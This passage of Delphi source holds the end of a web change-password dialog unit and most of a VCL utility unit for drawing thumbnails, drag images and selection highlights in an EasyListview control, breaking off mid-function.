FPasswordRules.Width := CharsToPixels(Length(FPasswordRules.Text));
Height := Height + 30;
end;
if FShowOldPassword then
FOldPassword.On('keyup', JSFunction(GetEnableButtonJS));
FNewPassword.On('keyup', JSFunction(GetEnableButtonJS));
FConfirmNewPassword.On('keyup', JSFunction(GetEnableButtonJS));
if FShowOldPassword then
FOldPassword.On('keydown', JSFunction(GetCheckCapsLockJS));
FNewPassword.On('keydown', JSFunction(GetCheckCapsLockJS));
FConfirmNewPassword.On('keydown', JSFunction(GetCheckCapsLockJS));
if FShowOldPassword then
FOldPassword.On('specialkey', JSFunction('field, e', GetSubmitJS));
FNewPassword.On('specialkey', JSFunction('field, e', GetSubmitJS));
FConfirmNewPassword.On('specialkey', JSFunction('field, e', GetSubmitJS));
if FShowOldPassword then
begin
FConfirmButton.Handler := Ajax(DoChangePassword, ['Dummy', FStatusBar.ShowBusy,
'OldPassword', FOldPassword.GetValue, 'NewPassword', FNewPassword.GetValue,
'ConfirmNewPassword', FConfirmNewPassword.GetValue]);
end
else
begin
FConfirmButton.Handler := Ajax(DoChangePassword, ['Dummy', FStatusBar.ShowBusy,
'NewPassword', FNewPassword.GetValue,
'ConfirmNewPassword', FConfirmNewPassword.GetValue]);
end;
FConfirmButton.Disabled := True;
if FShowOldPassword then
FOldPassword.Focus(False, 500)
else
FNewPassword.Focus(False, 500);
end;
initialization
TKExtControllerRegistry.Instance.RegisterClass('ChangePassword', TKExtChangePasswordWindow);
finalization
TKExtControllerRegistry.Instance.UnregisterClass('ChangePassword');
end.
|
unit uListViewUtils;
interface
uses
System.Types,
System.Classes,
System.SysUtils,
System.Math,
Winapi.Windows,
Winapi.CommCtrl,
Vcl.Controls,
Vcl.Graphics,
Vcl.ComCtrls,
Vcl.Themes,
Dmitry.Utils.System,
Dmitry.Graphics.LayeredBitmap,
EasyListview,
UnitBitmapImageList,
uMemory,
uDBDrawing,
uDBEntities,
uGraphicUtils,
uConstants,
uRuntime,
uSettings,
uDBIcons,
uThemesUtils,
uBitmapUtils;
type
TEasyCollectionItemX = class(TEasyCollectionItem)
public
function GetDisplayRect : TRect;
end;
{$HINTS OFF}
TEasySelectionManagerX = class(TEasyOwnedPersistent)
private
FAlphaBlend: Boolean;
FAlphaBlendSelRect: Boolean;
FBlendAlphaImage: Byte;
FBlendAlphaSelRect: Byte;
FBlendAlphaTextRect: Byte;
FBlendColorIcon: TColor;
FBlendColorSelRect: TColor;
FBlendIcon: Boolean;
FBlurAlphaBkGnd: Boolean;
FBorderColor: TColor;
FBorderColorSelRect: TColor;
FColor: TColor;
FCount: Integer;
FFocusedColumn: TEasyColumn;
FFocusedItem: TEasyItem;
FAnchorItem: TEasyItem;
FFocusedGroup: TEasyGroup;
FEnabled: Boolean;
FForceDefaultBlend: Boolean;
FFullCellPaint: Boolean;
FFullItemPaint: Boolean;
FFullRowSelect: Boolean;
FGradient: Boolean;
FGradientColorBottom: TColor;
FGradientColorTop: TColor;
FGroupSelections: Boolean;
FGroupSelectUpdateCount: Integer;
FInactiveBorderColor: TColor;
FInactiveColor: TColor;
FInactiveTextColor: TColor;
FItemsToggled: Integer;
FMouseButton: TCommonMouseButtons;
FMultiChangeCount: Integer;
FMultiSelect: Boolean;
FPopupMode: Boolean;
FRectSelect: Boolean; // A Click-Shift Select will use the Rectangle of the click and the Anchor Item vs. Selecting all from the Anchor Item Index to the selected Item index
FResizeGroupOnFocus: Boolean; // If true and a focused caption will overlap next group, the group is resized to fit focused caption
FRoundRect: Boolean;
FRoundRectRadius: Byte;
FTextColor: TColor;
FUseFocusRect: Boolean;
public
property AGradientColorBottom: TColor write FGradientColorBottom;
property AGradientColorTop: TColor write FGradientColorTop;
property ATextColor: TColor write FTextColor;
property AInactiveTextColor: TColor write FInactiveTextColor;
end;
{$HINTS ON}
function ItemByPointImage(EasyListview: TEasyListview; ViewportPoint: TPoint; ListView: Integer = 0): TEasyItem;
procedure ItemRectArray(Item: TEasyItem; tmHeight: integer; var RectArray: TEasyRectArrayObject; ListView : Integer = 0);
function ItemByPointStar(EasyListview: TEasyListview; ViewportPoint: TPoint; PictureSize : Integer; Image : TGraphic): TEasyItem;
function GetListViewHeaderHeight(ListView: TListView): Integer;
procedure SetLVThumbnailSize(ListView: TEasyListView; ImageSize: Integer);
procedure SetListViewColors(ListView: TEasyListView);
procedure SetLVSelection(ListView: TEasyListView; Multiselect: Boolean; MouseButton: TCommonMouseButtons = []);
procedure DrawDBListViewItem(ListView: TEasylistView; ACanvas: TCanvas; Item: TEasyItem;
ARect: TRect; BImageList: TBitmapImageList; var Y: Integer;
ShowInfo: Boolean; Info: TMediaItem;
CanAddImages: Boolean; CustomInfo: string = ''; Options: TDrawAttributesOptions = []);
procedure CreateDragImage(Bitmap: TGraphic; DragImageList: TImageList; Font: TFont; FileName: string); overload;
procedure CreateDragImage(ListView: TEasyListView; DImageList: TImageList; SImageList: TBitmapImageList; Caption : string;
DragPoint: TPoint; var SpotX, SpotY: Integer); overload;
procedure CreateDragImageEx(ListView: TEasyListView; DImageList: TImageList; SImageList : TBitmapImageList;
GradientFrom, GradientTo, SelectionColor: TColor; Font: TFont; Caption: string); overload;
procedure CreateDragImageEx(ListView: TEasyListView; DImageList: TImageList; SImageList : TBitmapImageList;
GradientFrom, GradientTo, SelectionColor: TColor; Font: TFont; Caption: string;
DragPoint: TPoint; var SpotX, SpotY: Integer); overload;
procedure EnsureSelectionInListView(EasyListview: TEasyListview; ListItem: TEasyItem;
Shift: TShiftState; X, Y: Integer; var ItemSelectedByMouseDown: Boolean;
var ItemByMouseDown: Boolean);
procedure RightClickFix(EasyListview: TEasyListview; Button: TMouseButton; Shift: TShiftState; Item: TEasyItem; ItemByMouseDown, ItemSelectedByMouseDown : Boolean);
procedure CreateMultiselectImage(ListView: TEasyListView; ResultImage: TBitmap; SImageList: TBitmapImageList;
GradientFrom, GradientTo, SelectionColor: TColor; Font : TFont; Width, Height: Integer; OnlyImages: Boolean = False);
procedure FixListViewText(ACanvas: TCanvas; Item: TEasyItem; Include: Boolean);
procedure DrawLVBitmap32MMX(ListView: TEasylistView; ACanvas: TCanvas; Graphic: TBitmap; X: Integer; var Y: Integer; Opacity: Byte = 255);
const
DrawTextOpt = DT_NOPREFIX + DT_WORDBREAK + DT_CENTER;
implementation
uses
UnitPropeccedFilesSupport;
procedure FixListViewText(ACanvas: TCanvas; Item: TEasyItem; Include: Boolean);
var
C: TColor;
begin
if Item.Selected then
C := Theme.GradientText//StyleServices.GetStyleFontColor(sfListItemTextSelected)
else
C := StyleServices.GetStyleFontColor(sfListItemTextNormal);
if not Include then
ACanvas.Font.Color := ColorDiv2(Theme.ListViewColor, C)
else
ACanvas.Font.Color := C;
end;
procedure DrawLVBitmap32MMX(ListView: TEasylistView; ACanvas: TCanvas; Graphic: TBitmap; X: Integer; var Y: Integer; Opacity: Byte = 255);
begin
//this method is more compatible (xp with custom theme can work bad with MPCommonUtilities.AlphaBlend
//ACanvas.Draw calls DrawTransparent method that calls Windows.AlphaBlend and should work good on any version of windows
Graphic.AlphaFormat := afDefined;
ACanvas.Draw(X, Y, Graphic, Opacity);
end;
type
TGraphicEx = class(TGraphic);
procedure DrawDBListViewItem(ListView: TEasylistView; ACanvas: TCanvas; Item: TEasyItem;
ARect: TRect; BImageList: TBitmapImageList; var Y: Integer;
ShowInfo: Boolean; Info: TMediaItem; CanAddImages: Boolean; CustomInfo: string = '';
Options: TDrawAttributesOptions = []);
const
DrawTextOpt = DT_NOPREFIX + DT_WORDBREAK;
RoundRadius = 5;
var
Graphic: TGraphic;
W, H, BPP: Integer;
ImageW, ImageH, OriginalRating: Integer;
X: Integer;
TempBmp, B: TBitmap;
TempBmpShadow: TBitmap;
RectArray: TEasyRectArrayObject;
ColorFrom, ColorTo, ColorFromOriginal, ColorToOriginal: TColor;
SelectionRect, R: TRect;
DIB: TDIBSection;
piconinfo: TIconInfo;
begin
OriginalRating := 0;
ACanvas.Font.Color := Theme.ListViewFontColor;
Graphic := BImageList[Item.ImageIndex].Graphic;
if (Graphic = nil) or Graphic.Empty then
Exit;
W := ARect.Right - ARect.Left;
H := ARect.Bottom - ARect.Top + 4;
ImageW := Graphic.Width;
ImageH := Graphic.Height;
ProportionalSize(W, H, ImageW, ImageH);
X := ARect.Left + W div 2 - ImageW div 2;
Y := ARect.Bottom - ImageH;
ColorFromOriginal := ListView.Selection.GradientColorTop;
ColorToOriginal := ListView.Selection.GradientColorBottom;
if (Info <> nil) then
begin
OriginalRating := Info.Rating;
Info.Include := Info.Include or (Info.ID = 0);
if not Info.Include then
begin
TEasySelectionManagerX(ListView.Selection).AGradientColorTop := $A0FFFF;
TEasySelectionManagerX(ListView.Selection).AGradientColorBottom := $A0FFFF;
end;
end;
try
if (Info <> nil) and (esosHotTracking in Item.State) and not (daoNonImage in Options) then
begin
if (Info.Rating = 0) and (not FolderView or (Info.ID > 0)) and CanAddImages then
Info.Rating := -1;
if not Item.Selected then
begin
Item.ItemRectArray(nil, ACanvas, RectArray);
//HACK!
ColorFrom := ListView.Selection.GradientColorTop;
ColorTo := ListView.Selection.GradientColorBottom;
TEasySelectionManagerX(ListView.Selection).AGradientColorTop := ColorDiv2(ColorDiv2(ColorDiv2(ColorFrom, ListView.Color), ListView.Color), ListView.Color);
TEasySelectionManagerX(ListView.Selection).AGradientColorBottom := ColorDiv2(ColorDiv2(ColorDiv2(ColorTo, ListView.Color ), ListView.Color), ListView.Color);
Item.View.PaintSelectionRect(Item, nil, Item.Caption, RectArray, ACanvas, RectArray.BoundsRect, True);
//HACK!
TEasySelectionManagerX(ListView.Selection).AGradientColorTop := ColorFrom;
TEasySelectionManagerX(ListView.Selection).AGradientColorBottom := ColorTo;
end;
end;
if (Info <> nil) and not Info.Include and Item.Selected then
begin
Item.ItemRectArray(nil, ACanvas, RectArray);
Item.View.PaintSelectionRect(Item, nil, Item.Caption, RectArray, ACanvas, RectArray.BoundsRect, True);
end;
TempBmp := nil;
TempBmpShadow := nil;
try
if (Graphic is TBitmap) and
((TBitmap(Graphic).Width > W) or (TBitmap(Graphic).Height > H)) then
begin
TempBmp := TBitmap.Create;
ProportionalSizeA(W, H, ImageW, ImageH);
StretchCool(ImageW, ImageH, TBitmap(Graphic), TempBmp);
Graphic := TempBmp;
end;
if (Graphic is TBitmap) and (TBitmap(Graphic).PixelFormat = pf24Bit) then
begin
TempBmpShadow := TBitmap.Create;
DrawShadowToImage(TempBmpShadow, TBitmap(Graphic));
Graphic := TempBmpShadow;
TBitmap(Graphic).Handle;
end;
if (CustomInfo <> '') and (Graphic is TBitmap) then
begin
if TBitmap(Graphic).PixelFormat = pf32Bit then
begin
R := Rect(6, TBitmap(Graphic).Height - 22, TBitmap(Graphic).Width, TBitmap(Graphic).Height - 3);
TBitmap(Graphic).Canvas.Font := ListView.Font;
DrawText(TBitmap(Graphic).Canvas.Handle, PChar(CustomInfo), Length(CustomInfo), R, DrawTextOpt or DT_CALCRECT);
SelectionRect := R;
InflateRect(SelectionRect, 3, 3);
DrawRoundGradientVert(TBitmap(Graphic), SelectionRect,
ListView.Selection.GradientColorBottom, ListView.Selection.GradientColorTop,
ListView.Selection.Color, RoundRadius);
DrawText32Bit(TBitmap(Graphic), CustomInfo, ListView.Font, R, DrawTextOpt);
TBitmap(Graphic).Handle;
end;
end;
if (Graphic is TBitmap) and (TBitmap(Graphic).PixelFormat = pf32Bit) then
begin
DrawLVBitmap32MMX(ListView, ACanvas, TBitmap(Graphic), X, Y, IIF(daoSemiTransparent in Options, 127, 255));
end else
begin
if not (daoSemiTransparent in Options) then
ACanvas.StretchDraw(Rect(X, Y, X + ImageW, Y + ImageH), Graphic)
else
begin
if Graphic is TIcon then
begin
if GetIconInfo(TIcon(Graphic).Handle, piconinfo) then
begin
try
GetObject(piconinfo.hbmColor, SizeOf(DIB), @DIB);
if (DIB.dsBm.bmWidth > 16) and (DIB.dsBm.bmHeight > 16) then
begin
B := TBitmap.Create;
try
B.Handle := piconinfo.hbmColor;
B.MaskHandle := piconinfo.hbmMask;
BPP := GetDeviceCaps(ACanvas.Handle, BITSPIXEL) * GetDeviceCaps(ACanvas.Handle, PLANES);
if BPP >= 16 then
begin
B.PixelFormat := pf32Bit;
B.AlphaFormat := afDefined;
end;
TGraphicEx(B).DrawTransparent(ACanvas, Rect(X, Y, X + ImageW, Y + ImageH), 127);
finally
F(B);
end;
end;
finally
DeleteObject(piconinfo.hbmMask);
DeleteObject(piconinfo.hbmColor);
end;
end;
end else
TGraphicEx(Graphic).DrawTransparent(ACanvas, Rect(X, Y, X + ImageW, Y + ImageH), 127);
end;
end;
finally
F(TempBmp);
F(TempBmpShadow);
end;
finally
if (Info <> nil) and not Info.Include then
begin
TEasySelectionManagerX(ListView.Selection).AGradientColorTop := ColorFromOriginal;
TEasySelectionManagerX(ListView.Selection).AGradientColorBottom := ColorToOriginal;
end;
end;
if (Info <> nil) and (ProcessedFilesCollection.ExistsFile(Info.FileName) <> nil) then
DrawIconEx(ACanvas.Handle, X + 2, ARect.Bottom - 20, Icons[DB_IC_RELOADING], 16, 16, 0, 0, DI_NORMAL);
if ShowInfo and (Info <> nil) then
DrawAttributesEx(ACanvas.Handle, Max(ARect.Left, ARect.Right - 100), Max(ARect.Top, Y - 16), Info, Options);
if (Info <> nil) then
Info.Rating := OriginalRating;
end;
procedure CreateDragImage(Bitmap: TGraphic; DragImageList: TImageList; Font: TFont; FileName: string);
var
BitmapImageList: TBitmapImageList;
DragImage: TBitmap;
begin
BitmapImageList := TBitmapImageList.Create;
try
DragImage := TBitmap.Create;
try
DragImage.Assign(Bitmap);
BitmapImageList.AddBitmap(DragImage, False);
if StyleServices.Enabled and TStyleManager.IsCustomStyleActive then
Font.Color := Theme.GradientText;
CreateDragImageEx(nil, DragImageList, BitmapImageList, Theme.GradientFromColor,
Theme.GradientToColor, Theme.HighlightColor, Font, ExtractFileName(FileName));
finally
F(DragImage);
end;
finally
F(BitmapImageList);
end;
end;
procedure CreateDragImage(ListView: TEasyListview; DImageList: TImageList;
SImageList: TBitmapImageList; Caption: string; DragPoint: TPoint;
var SpotX, SpotY: Integer);
begin
CreateDragImageEx(ListView, DImageList, SImageList,
ListView.Selection.GradientColorBottom, ListView.Selection.GradientColorTop,
ListView.Selection.Color, ListView.Font, Caption, DragPoint, SpotX, SpotY);
end;
procedure CreateDragImageEx(ListView: TEasyListview; DImageList: TImageList; SImageList: TBitmapImageList;
GradientFrom, GradientTo, SelectionColor: TColor; Font: TFont; Caption: string);
var
X, Y: Integer;
Point: TPoint;
begin
CreateDragImageEx(ListView, DImageList, SImageList, GradientFrom, GradientTo, SelectionColor,
Font, Caption, Point, X, Y);
end;
procedure DrawSelectionCount(Bitmap: TBitmap; ItemsSelected: Integer; Font: TFont; RoundRadius: Integer);
var
AFont: TFont;
W, H: Integer;
R: TRect;
begin
AFont := TFont.Create;
try
AFont.Assign(Font);
AFont.Style := [fsBold];
AFont.Size := AFont.Size + 2;
AFont.Color := Theme.GradientText;
W := Bitmap.Canvas.TextWidth(IntToStr(ItemsSelected));
H := Bitmap.Canvas.TextHeight(IntToStr(ItemsSelected));
Inc(W, 10);
Inc(H, 10);
R := Rect(5, 5, 5 + W, 5 + H);
DrawRoundGradientVert(Bitmap, R, Theme.GradientFromColor, Theme.GradientToColor, Theme.HighlightColor, RoundRadius);
DrawText32Bit(Bitmap, IntToStr(ItemsSelected), AFont, R, DT_CENTER or DT_VCENTER);
finally
AFont.Free;
end;
end;
procedure CreateMultiselectImage(ListView: TEasyListView; ResultImage: TBitmap; SImageList: TBitmapImageList;
GradientFrom, GradientTo, SelectionColor: TColor; Font: TFont; Width, Height: Integer; OnlyImages: Boolean = False);
var
SelCount: Integer;
SelectedItem: TEasyItem;
Items: array of TEasyItem;
MaxH, MaxW, I, N, FSelCount, ItemsSelected, ImageW, ImageH: Integer;
Graphic: TGraphic;
DX, DY, DMax: Extended;
TmpImage, SelectedImage: TBitmap;
LBitmap: TLayeredBitmap;
FocusedItem: TEasyItem;
function LastSelected : TEasyItem;
var
Item: TEasyItem;
begin
Result := nil;
Item := ListView.Selection.First;
while Item <> nil do
begin
Result := Item;
Item := ListView.Selection.Next(Result);
end;
end;
const
MaxItems = 5;
ImagePadding = 10;
RoundRadius = 8;
begin
SetLength(Items, 0);
if ListView <> nil then
begin
ItemsSelected := ListView.Selection.Count;
FSelCount := Min(MaxItems, ItemsSelected);
SelectedItem := ListView.Selection.First;
FocusedItem := nil;
if ListView.Selection.FocusedItem <> nil then
if ListView.Selection.FocusedItem.Selected then
FocusedItem := ListView.Selection.FocusedItem;
if FocusedItem = nil then
FocusedItem := LastSelected;
for I := 1 to FSelCount do
begin
if FocusedItem <> SelectedItem then
begin
if Length(Items) = FSelCount - 1 then
Break;
if SelectedItem <> nil then
begin
SetLength(Items, Length(Items) + 1);
Items[Length(Items) - 1] := SelectedItem;
end;
end;
SelectedItem := ListView.Selection.Next(SelectedItem);
end;
if FocusedItem <> nil then
begin
SetLength(Items, Length(Items) + 1);
Items[Length(Items) - 1] := FocusedItem;
end;
FSelCount := Length(Items);
end else begin
ItemsSelected := SImageList.Count;
FSelCount := Min(MaxItems, ItemsSelected);
end;
N := 0;
MaxH := 0;
MaxW := 0;
for I := 1 to Length(Items) do
begin
if ListView <> nil then
Graphic := SImageList[Items[I - 1].ImageIndex].Graphic
else
Graphic := SImageList[I - 1].Graphic;
MaxH := Max(MaxH, N + Graphic.Height);
MaxW := Max(MaxW, N + Graphic.Width);
end;
DX := MaxW / (Width - FSelCount * (ImagePadding - 1));
DY := MaxH / (Height - FSelCount * (ImagePadding - 1));
ResultImage.SetSize(Width, Height);
FillTransparentColor(ResultImage, ClBlack, 0);
N := 0;
for I := 1 to FSelCount do
begin
if ListView <> nil then
Graphic := SImageList[Items[I - 1].ImageIndex].Graphic
else
Graphic := SImageList[I - 1].Graphic;
if Graphic is TBitmap then
begin
ImageW := Graphic.Width;
ImageH := Graphic.Height;
ProportionalSize(Round(ImageW / DX), Round(ImageH / DY), ImageW, ImageH);
if TBitmap(Graphic).PixelFormat = pf24bit then
begin
SelectedImage := TBitmap.Create;
try
TmpImage := TBitmap.Create;
try
DoResize(ImageW, ImageH, Graphic as TBitmap, TmpImage);
DrawShadowToImage(SelectedImage, TmpImage);
DrawImageEx32(ResultImage, SelectedImage, N, N);
finally
F(TmpImage);
end;
finally
F(SelectedImage);
end;
end else if TBitmap(Graphic).PixelFormat = pf32bit then
begin
TmpImage := TBitmap.Create;
try
TmpImage.PixelFormat := pf32bit;
DoResize(ImageW, ImageH, Graphic as TBitmap, TmpImage);
DrawImageEx32(ResultImage, TmpImage, N, N);
finally
F(TmpImage);
end;
end;
end else if Graphic is TIcon then
begin
LBitmap := TLayeredBitmap.Create;
try
LBitmap.LoadFromHIcon(TIcon(Graphic).Handle, TIcon(Graphic).Height, TIcon(Graphic).Width);
DrawImageEx32(ResultImage, LBitmap, N, N);
finally
F(LBitmap);
end;
end;
Inc(N, ImagePadding);
end;
DrawSelectionCount(ResultImage, ItemsSelected, Font, RoundRadius);
ResultImage.TransparentMode := tmFixed;
ResultImage.AlphaFormat := afDefined;
end;
procedure CreateDragImageEx(ListView: TEasyListview; DImageList: TImageList; SImageList: TBitmapImageList;
GradientFrom, GradientTo, SelectionColor: TColor; Font: TFont; Caption: string; DragPoint: TPoint;
var SpotX, SpotY: Integer);
var
DragImage, TempImage: TBitmap;
SelCount: Integer;
SelectedItem: TEasyItem;
I, N, MaxH, MaxW, ImH, ImW, FSelCount, ItemsSelected: Integer;
W, H: Integer;
ImageW, ImageH, X, Y: Integer;
Graphic: TGraphic;
ARect, R, SelectionRect: TRect;
LBitmap: TLayeredBitmap;
Items: array of TEasyItem;
EasyRect: TEasyRectArrayObject;
const
ImageMoveLength = 7;
ImagePadding = 10;
RoundRadius = 8;
MaxItems = 6;
begin
TempImage := TBitmap.Create;
try
TempImage.PixelFormat := pf32bit;
SetLength(Items, 0);
if ListView <> nil then
begin
ItemsSelected := ListView.Selection.Count;
FSelCount := Min(MaxItems, ItemsSelected);
SelectedItem := ListView.Selection.First;
for I := 1 to FSelCount do
begin
if ListView.Selection.FocusedItem <> SelectedItem then
begin
SetLength(Items, Length(Items) + 1);
Items[Length(Items) - 1] := SelectedItem;
end;
SelectedItem := ListView.Selection.Next(SelectedItem);
end;
SetLength(Items, Length(Items) + 1);
Items[Length(Items) - 1] := ListView.Selection.FocusedItem;
FSelCount := Length(Items);
end else begin
ItemsSelected := SImageList.Count;
FSelCount := Min(MaxItems, ItemsSelected);
end;
MaxH := 50;
MaxW := 50;
N := ImagePadding - ImageMoveLength;
for I := 1 to FSelCount do
begin
Inc(N, ImageMoveLength);
if ListView <> nil then
Graphic := SImageList[Items[I - 1].ImageIndex].Graphic
else
Graphic := SImageList[I - 1].Graphic;
MaxH := Max(MaxH, N + Graphic.Height);
MaxW := Max(MaxW, N + Graphic.Width);
end;
Inc(MaxH, ImagePadding);
Inc(MaxW, ImagePadding);
R := Rect(3, MaxH + 3, MaxW, 1000);
TempImage.Canvas.Font := Font;
if StyleServices.Enabled and TStyleManager.IsCustomStyleActive then
Font.Color := Theme.GradientText;
DrawText(TempImage.Canvas.Handle, PChar(Caption), Length(Caption), R, DrawTextOpt or DT_CALCRECT);
TempImage.SetSize(Max(MaxW, R.Right + 3), Max(MaxH, R.Bottom) + 5 * 2);
FillTransparentColor(TempImage, clBlack, 1);
SelectionRect := Rect(0, 0, TempImage.Width, TempImage.Height);
DrawRoundGradientVert(TempImage, SelectionRect, GradientFrom, GradientTo, SelectionColor, RoundRadius);
R.Right := TempImage.Width;
DrawText32Bit(TempImage, Caption, Font, R, DrawTextOpt);
N := ImagePadding - ImageMoveLength;
for I := 1 to FSelCount do
begin
Inc(N, ImageMoveLength);
if ListView <> nil then
Graphic := SImageList[Items[I - 1].ImageIndex].Graphic
else
Graphic := SImageList[I - 1].Graphic;
if Graphic is TBitmap then
begin
if TBitmap(Graphic).PixelFormat = pf24bit then
begin
DragImage := TBitmap.Create;
try
DrawShadowToImage(DragImage, Graphic as TBitmap, 1);
DrawImageEx32(TempImage, DragImage, N, N);
finally
F(DragImage);
end;
end else if TBitmap(Graphic).PixelFormat = pf32bit then
begin
DrawImageEx32(TempImage, Graphic as TBitmap, N, N);
end;
end else if Graphic is TIcon then
begin
LBitmap := TLayeredBitmap.Create;
try
LBitmap.LoadFromHIcon(TIcon(Graphic).Handle, TIcon(Graphic).Height, TIcon(Graphic).Width);
DrawImageEx32(TempImage, LBitmap, N, N);
finally
F(LBitmap);
end;
end;
end;
if ItemsSelected > 1 then
DrawSelectionCount(TempImage, ItemsSelected, Font, RoundRadius);
if ListView <> nil then
begin
Graphic := SImageList.Items[ListView.Selection.FocusedItem.ImageIndex].Graphic;
ListView.Selection.FocusedItem.ItemRectArray(nil, ListView.Canvas, EasyRect);
ARect := EasyRect.IconRect;
W := ARect.Right - ARect.Left;
H := ARect.Bottom - ARect.Top;
ImageW := Graphic.Width;
ImageH := Graphic.Height;
ProportionalSize(W, H, ImageW, ImageH);
X := ARect.Left + W div 2 - ImageW div 2;
Y := ARect.Bottom - ImageH;
SpotX := Min(MaxW, Max(1, DragPoint.X + N - X));
SpotY := Min(MaxH, Max(1, DragPoint.Y + N - Y + ListView.Scrollbars.ViewableViewportRect.Top));
end;
DImageList.Clear;
DImageList.SetSize(TempImage.Width, TempImage.Height);
DImageList.Add(TempImage, nil);
finally
F(TempImage);
end;
end;
procedure SetListViewColors(ListView: TEasyListView);
begin
ListView.Font.Name := 'Tahoma';
if StyleServices.Enabled then
begin
ListView.Color := StyleServices.GetStyleColor(scListView);
ListView.Selection.GradientColorTop := Theme.GradientFromColor;
ListView.Selection.GradientColorBottom := Theme.GradientToColor;
ListView.Selection.TextColor := Theme.GradientText;
ListView.Selection.InactiveTextColor := StyleServices.GetStyleFontColor(sfListItemTextSelected);
ListView.Selection.Color := StyleServices.GetSystemColor(clHighlight);
ListView.Selection.InactiveColor := Theme.GradientToColor;
ListView.Selection.BorderColor := StyleServices.GetSystemColor(clHighlight);
ListView.Selection.InactiveBorderColor := StyleServices.GetSystemColor(clHighlight);
ListView.Selection.BlendColorSelRect := StyleServices.GetSystemColor(clHighlight);
ListView.Selection.BorderColorSelRect := StyleServices.GetSystemColor(clHighlight);
ListView.Font.Color := StyleServices.GetStyleFontColor(sfListItemTextNormal);
ListView.HotTrack.Color := StyleServices.GetStyleFontColor(sfListItemTextHot);
ListView.GroupFont.Color := StyleServices.GetStyleFontColor(sfListItemTextNormal);
end else
begin
ListView.Selection.GradientColorBottom := clGradientActiveCaption;
ListView.Selection.GradientColorTop := clGradientInactiveCaption;
ListView.Selection.TextColor := clWindowText;
ListView.HotTrack.Color := clWindowText;
ListView.Font.Color := clWindowText;
ListView.GroupFont.Color := ClWindowText;
end;
end;
procedure SetLVSelection(ListView: TEasyListView; Multiselect: Boolean; MouseButton: TCommonMouseButtons = []);
begin
ListView.Selection.MouseButton := MouseButton;
ListView.Selection.AlphaBlend := True;
ListView.Selection.AlphaBlendSelRect := True;
if Multiselect then
begin
ListView.Selection.MultiSelect := True;
ListView.Selection.RectSelect := True;
ListView.Selection.EnableDragSelect := True;
end;
ListView.Selection.FullItemPaint := True;
ListView.Selection.Gradient := True;
SetListViewColors(ListView);
ListView.Selection.RoundRect := True;
ListView.Selection.UseFocusRect := False;
ListView.PaintInfoItem.ShowBorder := False;
ListView.HotTrack.Cursor := crArrow;
ListView.HotTrack.Enabled := AppSettings.Readbool('Options', 'UseHotSelect', True);
end;
procedure SetLVThumbnailSize(ListView: TEasyListView; ImageSize: Integer);
const
LVWidthBetweenItems = 20;
MarginRight = 0;
MarginLeft = 0;
var
ColumnCount, ThWidth, WndWidth: Integer;
Metrics: TTextMetric;
begin
WndWidth := ListView.ClientWidth - 1;
if not ListView.Scrollbars.VertBarVisible then
WndWidth := WndWidth - GetSystemMetrics(SM_CYVSCROLL);
ThWidth := ImageSize + ListView.PaintInfoItem.Border * 4;
ColumnCount := WndWidth div ThWidth;
if ColumnCount = 0 then
Inc(ColumnCount);
GetTextMetrics(ListView.Canvas.Handle, Metrics);
ListView.CellSizes.Thumbnail.Width := WndWidth div ColumnCount;
ListView.CellSizes.Thumbnail.Height := ImageSize + Metrics.tmHeight * 2 + ListView.PaintInfoItem.Border * 3;
ListView.Selection.RoundRect := True;
if ListView.View = elsThumbnail then
ListView.Selection.RoundRectRadius := Min(10, ImageSize div 10)
else
ListView.Selection.RoundRectRadius := 5;
end;
function GetListViewHeaderHeight(ListView: TListView): Integer;
var
Header_Handle: HWND;
WindowPlacement: TWindowPlacement;
begin
Header_Handle := ListView_GetHeader(ListView.Handle);
FillChar(WindowPlacement, SizeOf(WindowPlacement), 0);
WindowPlacement.Length := SizeOf(WindowPlacement);
GetWindowPlacement(Header_Handle, @WindowPlacement);
Result := WindowPlacement.rcNormalPosition.Bottom - WindowPlacement.rcNormalPosition.Top;
end;
procedure ItemRectArray(Item: TEasyItem; tmHeight : integer; var RectArray: TEasyRectArrayObject; ListView : Integer = 0);
var
PositionIndex: Integer;
begin
if Assigned(Item) then
begin
if not Item.Initialized then
Item.Initialized := True;
PositionIndex := 0;
if PositionIndex > -1 then
begin
FillChar(RectArray, SizeOf(RectArray), #0);
try
RectArray.BoundsRect := TEasyCollectionItemX(Item).GetDisplayRect;
if ListView = 0 then
InflateRect(RectArray.BoundsRect, -Item.Border, -Item.Border);
// Calcuate the Bounds of the Cell that is allowed to be drawn in
// **********
RectArray.IconRect := RectArray.BoundsRect;
RectArray.IconRect.Bottom := RectArray.IconRect.Bottom - tmHeight * 2;
// Calculate area that the Checkbox may be drawn
RectArray.CheckRect.Top := RectArray.IconRect.Bottom;
RectArray.CheckRect.Left := RectArray.BoundsRect.Left;
RectArray.CheckRect.Bottom := RectArray.BoundsRect.Bottom;
RectArray.CheckRect.Right := RectArray.CheckRect.Left;
// Calcuate the Bounds of the Cell that is allowed to be drawn in
// **********
RectArray.LabelRect.Left := RectArray.CheckRect.Right + Item.CaptionIndent;
RectArray.LabelRect.Top := RectArray.IconRect.Bottom + 1;
RectArray.LabelRect.Right := RectArray.BoundsRect.Right;
RectArray.LabelRect.Bottom := RectArray.BoundsRect.Bottom;
// Calcuate the Text rectangle based on the current text
// **********
RectArray.TextRect := RectArray.LabelRect;
// Leave room for a small border between edge of the selection rect and text
if ListView = 0 then
InflateRect(RectArray.TextRect, -2, -2);
finally
end;
end
end
end;
function ItemByPointImage(EasyListview: TEasyListview; ViewportPoint: TPoint; ListView: Integer = 0): TEasyItem;
var
I: Integer;
R: TRect;
RectArray: TEasyRectArrayObject;
ACanvas: TCanvas;
Metrics: TTextMetric;
Item: TEasyItem;
begin
Result := nil;
I := 0;
R := EasyListview.Scrollbars.ViewableViewportRect;
ViewportPoint.X := ViewportPoint.X + R.Left;
ViewportPoint.Y := ViewportPoint.Y + R.Top;
ACanvas := EasyListview.Canvas;
GetTextMetrics(ACanvas.Handle, Metrics);
while not Assigned(Result) and (I < EasyListview.Items.Count) do
begin
Item := EasyListview.Items[I];
if Item.OwnerGroup.Expanded then
begin
ItemRectArray(Item, Metrics.TmHeight, RectArray);
if PtInRect(RectArray.BoundsRect, ViewportPoint) then
Result := Item;
end;
Inc(I);
end
end;
function ItemByPointStar(EasyListview: TEasyListview; ViewportPoint: TPoint; PictureSize : Integer; Image : TGraphic): TEasyItem;
var
I: Integer;
R: TRect;
RectArray: TEasyRectArrayObject;
T, L, A, B, W, H, Y: Integer;
ImageW, ImageH : Integer;
Item: TEasyItem;
begin
Result := nil;
I := 0;
R := EasyListview.Scrollbars.ViewableViewportRect;
